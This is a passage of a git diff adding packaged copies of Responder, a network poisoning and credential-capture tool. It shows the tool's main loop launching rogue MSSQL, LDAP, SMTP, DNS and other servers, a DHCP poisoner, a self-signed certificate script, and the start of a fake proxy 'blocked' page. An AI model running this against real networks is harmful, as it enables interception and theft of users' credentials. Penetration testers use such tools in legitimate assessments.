+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1433, MSSQL,)))
+ threads.append(Thread(target=serve_thread_udp_broadcast, args=(settings.Config.Bind_To, 1434, MSSQLBrowser,)))
+
+ if settings.Config.FTP_On_Off:
+ from Responder.servers.FTP import FTP
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 21, FTP,)))
+
+ if settings.Config.POP_On_Off:
+ from Responder.servers.POP3 import POP3
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,)))
+
+ if settings.Config.LDAP_On_Off:
+ from Responder.servers.LDAP import LDAP, CLDAP
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
+ threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 636, LDAP,)))
+ threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
+
+ if settings.Config.MQTT_On_Off:
+ from Responder.servers.MQTT import MQTT
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,)))
+
+ if settings.Config.SMTP_On_Off:
+ from Responder.servers.SMTP import ESMTP
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,)))
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 587, ESMTP,)))
+
+ if settings.Config.IMAP_On_Off:
+ from Responder.servers.IMAP import IMAP
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 143, IMAP,)))
+
+ if settings.Config.DNS_On_Off:
+ from Responder.servers.DNS import DNS, DNSTCP
+ threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
+
+ if settings.Config.SNMP_On_Off:
+ from Responder.servers.SNMP import SNMP
+ threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,)))
+
+ for thread in threads:
+ thread.daemon = True
+ thread.start()
+
+ if settings.Config.AnalyzeMode:
+ print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
+ if settings.Config.Quiet_Mode:
+ print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
+
+
+ if settings.Config.DHCP_On_Off:
+ from Responder.poisoners.DHCP import DHCP
+ DHCP(settings.Config.DHCP_DNS)
+
+ while True:
+ time.sleep(1)
+
+ except KeyboardInterrupt:
+ sys.exit("\r%s Exiting..." % color('[+]', 2, 1))
+
+if __name__ == '__main__':
+ main()
diff --git a/build/lib/Responder/certs/gen-self-signed-cert.sh b/build/lib/Responder/certs/gen-self-signed-cert.sh
new file mode 100755
index 0000000..b5a18a9
--- /dev/null
+++ b/build/lib/Responder/certs/gen-self-signed-cert.sh
@@ -0,0 +1,4 @@
+#!/bin/bash
+CERT_PATH=$1
+openssl genrsa -out "$CERT_PATH/certs/responder.key" 2048
+openssl req -new -x509 -days 3650 -key "$CERT_PATH/certs/responder.key" -out "$CERT_PATH/certs/responder.crt" -subj "/"
diff --git a/build/lib/Responder/files/AccessDenied.html b/build/lib/Responder/files/AccessDenied.html
new file mode 100644
index 0000000..d79f811
--- /dev/null
+++ b/build/lib/Responder/files/AccessDenied.html
@@ -0,0 +1,31 @@
+
+
+
Website Blocked: ISA Proxy Server
+
+
+
+
+